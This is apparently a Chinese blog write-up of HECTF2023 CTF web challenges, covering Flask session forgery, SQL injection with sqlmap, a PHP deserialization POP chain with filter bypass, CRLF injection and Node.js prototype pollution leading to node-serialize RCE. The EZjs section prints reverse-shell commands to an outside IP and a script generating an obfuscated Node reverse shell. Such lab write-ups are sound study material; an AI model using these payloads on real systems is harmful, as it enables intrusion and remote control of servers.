目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. 伪装者
    2. 2.2. EZweb
    3. 2.3. EZphp
    4. 2.4. 懒洋洋(复现)
    5. 2.5. EZjs(复现)
      1. 2.5.1. 错误解
      2. 2.5.2. 正解
      3. 2.5.3. 后日谈
  3. 3. Misc
    1. 3.1. 签到

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

HECTF2023

2023/11/18 CTF线上赛
  |     |   总文章阅读量:

前言

官方wp web

这。。。应该不是新生赛

Web

伪装者

http+jwt+任意文件读取

进入题目,点击传送门,抓包发到重放器

  1. 只能从本地访问哦

  2. 你从哪里来的呢 是ctf.sc0de.com吗?

  3. zxk1ing 喜欢 Firefox browser 爱屋及乌,我也是

  4. 你谁? 我只相信白马王子zxk1ing

image-20231118103649171

get传参?username=zxk1ing,返回“当我傻嘛 你说你是zxk1ing你就是?😡”

猜测存在jwt,把session的值用flask-session-cookie-manager解一下

python flask_session_cookie_manager3.py decode -c "eyJrZXkiOiJ6eGsxaW5nIiwidXNlcm5hbWUiOiJqb2tlciJ9.ZVgh7w.00n2VgS6f3OJM_0FIexdDHum3ps"

得到b'{"key":"zxk1ing","username":"joker"}'

key也给我们了,我们直接伪造username为zxk1ing即可

奇怪的是我用flask-session-cookie-manager没伪造出来,用Flask-Unsign才伪造出来的

flask-unsign --sign --cookie "{'key': 'zxk1ing', 'username': 'zxk1ing'}" --secret 'zxk1ing' --no-literal-eval

返回真的是泥呀 zxk1ing flag在/P1aceuWillneverkn0w 进"里面"去拿吧

访问/P1aceuWillneverkn0w

image-20231118110045228

发现只给了张图片,但是可以发现这里存在任意文件读取/img?url=

直接读flag即可

/img?url=file:///flag

EZweb

sql注入

进入题目就是一个大大的404页面,dirsearch扫一下发现存在404.php

题目提示我们要sort传参

其实是在404.php页面post请求传入sort参数

一开始以为是命令注入试了半天,然后尝试万能密码1'or 1=1#发现回显admin

直接sqlmap一把梭了,三血到手

python3 sqlmap.py -u http://101.133.164.228:30714/404.php --data="sort=" -D ctf -T users --dump

image-20231118113202038


EZphp

随机数爆破+反序列化pop链+无回显rce

进入题目,f12提示post_me_your_guess,响应头里发现Guess: which rand()?,cookie中发现seed=331061946

应该是要我们爆破随机数,因为给了seed,先写一个脚本生成随机数的字典

<?php
// 设置种子
mt_srand(331061946);

// 生成随机数并保存为1.txt
$file = fopen('1.txt', 'w');
for ($i = 0; $i < 50; $i++) {
    $randomNumber = mt_rand();
    fwrite($file, $randomNumber . PHP_EOL);
}
fclose($file);

echo '随机数已保存到1.txt文件中。';
?>

然后用burpsuite进行爆破

image-20231118172408203

得到下一步Unablet0guess.php

<?php
error_reporting(0);
highlight_file(__FILE__);

class GGbond{
    public $candy;

    public function __call($func,$arg){
        $func($arg);
    }

    public function __toString(){
        return $this->candy->str;
    }
}

class unser{
    public $obj;
    public $auth;

    public function __construct($obj,$name){
        $this->obj = $obj;
        $this->obj->auth = $name;
    }

    public function __destruct(){
        $this->obj->Welcome();
    }
}

class HECTF{
    public $cmd;

    public function __invoke(){
        if($this->cmd){
            $this->cmd = preg_replace("/ls|cat|tac|more|sort|head|tail|nl|less|flag|cd|tee|bash|sh|&|^|>|<|\.| |'|`|\(|\"/i","",$this->cmd);
        }
        exec($this->cmd);
    }
}

class heeectf{
    public $obj;
    public $flag = "Welcome";
    public $auth = "who are you?";

    public function Welcome(){
        if(unserialize($this->auth)=="zxk1ing"){
            $star = implode(array($this->obj,"⭐","⭐","⭐","⭐","⭐"));
            echo $star;
        }
        else
            echo 'Welcome HECTF! Have fun!';
    }

    public function __get($get)
    {
        $func = $this->flag;
        return $func();
    }
}

new unser(new heeectf(),"user");

$data = $_POST['data'];
if(!preg_match('/flag/i',$data))
    unserialize($data);
else
    echo "想干嘛???";

反序列化,目标是HECTF::__invoke中的exec

构造pop链unser::__destruct -> GGBond::__call -> heeectf::Welcome -> GGbond::__toString -> heeectf::__get -> HECTF::__invoke

过滤属性名flag,可以用十六进制绕过S:4:"fla\67"

双写绕过命令执行的部分,用tee把回显带外

exp:

<?php

class GGbond{
    public $candy;
}

class unser{
    public $obj;
    public $auth;
}

class HECTF{
    public $cmd='cacatt${IFS}/f*|tteeee${IFS}2';
}

class heeectf{
    public $obj;
    public $flag;
    public $auth = 's:7:"zxk1ing";';
}

$a=new unser();
$a->obj=new heeectf();
$a->obj->obj=new GGbond();
$a->obj->obj->candy=new heeectf();
$a->obj->obj->candy->flag=new HECTF();
echo preg_replace('/s:4:"flag"/','S:4:"fla\\\67"',serialize($a));

访问并下载写入的文件即可读取回显


懒洋洋(复现)

jwt+CVE-2019-9740 CRLF注入

进入题目,随便输个账号密码登录

image-20231119092442876

一眼jwt,在首页源码处发现random.seed(1),本地生成一手得到key:0.13436424411240122

带上cookie和key去jwt.io

把username修改为admin

image-20231119092527365

带上伪造的cookie回去,出现debug报错界面(正解此时就是直接回显内容)

image-20231119092743625

告诉我们“你可以访问eeeqxxtg并提交url参数,从本地出发,出口为琪琪萋萋,头上必须有flag: ctfer,就能得到你想要的”

hint提示是CVE-2019-9740,搜索相关内容

但是我构造了半天的请求体也只回显报错

/eeeqxxtg?url=http://127.0.0.1:7777/?a=1%20HTTP/1.1%0d%0aflag:%20ctfer%0d%0aTEST:%20123%0d%0a

Hint:请参考官网上的验证代码格式,并通过并发绕过某些东西


EZjs(复现)

Undefsafe模块原型链污染+nodejs反序列化rce

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const flag="*****************"
var serialize = require('node-serialize');
var app = express();

class Brief {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.ctfer = {};
    }

    write_ctfer(name, nickname) {
        this.ctfer[(this.num++).toString()] = {
            "name": name,
            "nickname": nickname
        };
    }

    edit_ctfer(id, name, nikename) {
        undefsafe(this.ctfer, id + '.name', name);
        undefsafe(this.ctfer, id + '.nikename', nikename);
    }

    remove_ctfer(id) {
        delete this.ctfer[id];
    }
}

var introduction = new Brief();
introduction.write_ctfer("the first name", "the first nickname");

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({
    extended: false
}));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function (req, res, next) {
    res.render('index', {
        title: 'Welcome to ctfer\'s brief introduction'
    });
});

app.route('/add')
    .get(function (req, res) {
        res.render('mess', {
            message: 'Please use post to pass parameters'
        });
    })
    .post(function (req, res) {
        let name = req.body.name;
        let nickname = req.body.nickname;
        if (name && nickname) {
            introduction.write_ctfer(name, nickname);
            res.send("添加成功");
        } else {
            res.send("添加失败");
        }
    })

app.route('/edit')
    .get(function (req, res) {
      res.send("开始修改");
    })
    .post(function (req, res) {
        let id = req.body.id;
        let name = req.body.name;
        let nickname = req.body.nickname;
        if (id && name && nickname) {
            introduction.edit_ctfer(id, name, nickname);
            res.send("修改成功");
        } else {
           res.send("修改失败");
        }
    })

app.route('/delete')
    .get(function (req, res) {
        
    })
    .post(function (req, res) {
        let id = req.body.id;
        if (id) {
            introduction.remove_ctfer(id);
            
        } else {
            
        }
    })

app.route('/getflag')
 .get(function (req, res) {
    let array1={IIS:123,a:234,b:345}
    let q = req.query.q;

    if(black1(q)){
        if(array1[q.toUpperCase()]==123){
            res.render('mess', {
            message: flag
        });

        }
    }
})

app.route('/excite')
    .get(function (req, res) {
        let commands = {
            "less1": "Error",
            "less2": "Correct"
        };

        for (let index in commands) {
            console.log(commands[index])
            if(black2(commands[index])){
                try{
                    serialize.unserialize(commands[index]);
                }catch (e){
                    continue;
                }

            }}
        res.send("ok");
        res.end();
    })

app.use(function (req, res, next) {
    res.status(404).send('Sorry cant find that!');
});

app.use(function (err, req, res, next) {
    console.error(err.stack);
    res.status(500).send('Something broke!');
});

function black1(arr) {
    let blacklist = ["s", "S", "i","I"];
    for (let i = 0; i < arr.length; i++) {
        const element = arr[i];
        if (blacklist.includes(element)) {
            return false;
        }
    }
    return true;
}
function black2(arr) {
    let blacklist = ["flag", "bash", "process","WEB","*","?","require","child","exec","&"];
    for (let i = 0; i < arr.length; i++) {
        const element = arr[i];
        if (blacklist.includes(element)) {
            return false;
        }
    }
    return true;
}

const port = 80;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

审计代码,一眼undefsafe原型链污染,跟踪undefsafe

edit_ctfer(id, name, nikename) {
    undefsafe(this.ctfer, id + '.name', name);
    undefsafe(this.ctfer, id + '.nikename', nikename);
}

可以发现edit_ctfer调用了undefsafe,跟踪edit_ctfer

app.route('/edit')
    .get(function (req, res) {
      res.send("开始修改");
    })
    .post(function (req, res) {
        let id = req.body.id;
        let name = req.body.name;
        let nickname = req.body.nickname;
        if (id && name && nickname) {
            introduction.edit_ctfer(id, name, nickname);
            res.send("修改成功");
        } else {
           res.send("修改失败");
        }
    })

三个参数均可控,可以进行原型链污染

错误解

而我们的目标在/getflag路由下

app.route('/getflag')
 .get(function (req, res) {
    let array1={IIS:123,a:234,b:345}
    let q = req.query.q;

    if(black1(q)){
        if(array1[q.toUpperCase()]==123){
            res.render('mess', {
            message: flag
        });

        }
    }
})

只要让array1数组中的键q为123就能获得flag,看一下黑名单black1

function black1(arr) {
    let blacklist = ["s", "S", "i","I"];
    for (let i = 0; i < arr.length; i++) {
        const element = arr[i];
        if (blacklist.includes(element)) {
            return false;
        }
    }
    return true;
}

很明显不让我们直接把q=IIS,不过因为这里用的是toUpperCase函数,可以用ııſ绕过,试了一下发现不行

原型链污染的思路就是在 /edit 路由通过原型链污染ctfer对象的原型,array1和ctfer都继承自同一个原型,由此我们可以给array1添加一个键值对{"q":"123"}进去,但是还是不行

这时我发现一个很严重的问题:这里的判断条件是array1[q.toUpperCase()]==123,把array1当成数组来处理了,但是array1只是一个对象,所以这个判断永远不成立,寄

正解

那么回到上一步,还有一个路由/excite我们没看

app.route('/excite')
    .get(function (req, res) {
        let commands = {
            "less1": "Error",
            "less2": "Correct"
        };

        for (let index in commands) {
            console.log(commands[index])
            if(black2(commands[index])){
                try{
                    serialize.unserialize(commands[index]);
                }catch (e){
                    continue;
                }

            }}
        res.send("ok");
        res.end();
    })

同样的我们可以污染这里的commands,然后执行反序列化,在命令中插入我们序列化的语句即可

黑名单

function black2(arr) {
    let blacklist = ["flag", "bash", "process","WEB","*","?","require","child","exec","&"];
    for (let i = 0; i < arr.length; i++) {
        const element = arr[i];
        if (blacklist.includes(element)) {
            return false;
        }
    }
    return true;
}

生成序列化字符串exp:

var y = {
    function : function(){
    global['pro'+'cess'].mainModule.constructor._load('child_process')['ex'+'ec']('nc 115.236.153.170 57746 -e sh', function(error, stdout, stderr) { console.log(stdout) });
    },
   }
   var serialize = require('node-serialize');
   console.log("Serialized: \n" + serialize.serialize(y));

payload:

id=__proto__&name={"function":"_$$ND_FUNC$$_function(){\r\n\tglobal['pro'+'cess'].mainModule.constructor._load('chi'+'ld_p'+'rocess')['ex'+'ec']('nc 115.236.153.170 57746 -e sh', function(error, stdout, stderr) { console.log(stdout) });\r\n\t}()"}&nickname=ciallo

怪,这题我本地能打通但是靶机上打不通。。。

后日谈

应该是因为靶机那里并没有配置nc,需要用bash来弹shell

bash -c "bash -i >& /dev/tcp/115.236.153.170/57746 0>&1"

这里就又涉及到怎么绕过过滤了,可以生成String.fromCharCode的字符来绕过

脚本:

import sys

if len(sys.argv) != 3:
    print("Usage: %s <LHOST> <LPORT>" % (sys.argv[0]))
    sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]


def charencode(string):
    """String.CharCode"""
    encoded = ''
    for char in string:
        encoded = encoded + "," + str(ord(char))
    return encoded[1:]

print("[+] LHOST = %s" % (IP_ADDR))
print("[+] LPORT = %s" % (PORT))
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) !== -1; }; }
function c(HOST,PORT) {
    var client = new net.Socket();
    client.connect(PORT, HOST, function() {
        var sh = spawn('/bin/sh',[]);
        client.write("Connected!\\n");
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
        sh.on('exit',function(code,signal){
            client.end("Disconnected!\\n");
        });
    });
    client.on('error', function(e) {
        setTimeout(c(HOST,PORT), TIMEOUT);
    });
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print("[+] Encoding")
PAYLOAD = charencode(NODEJS_REV_SHELL)
print("eval(String.fromCharCode(%s))" % (PAYLOAD))
python Charcode.py 115.236.153.170 57746

Misc

签到

HECTF{Welcome_To_HECTF_2023}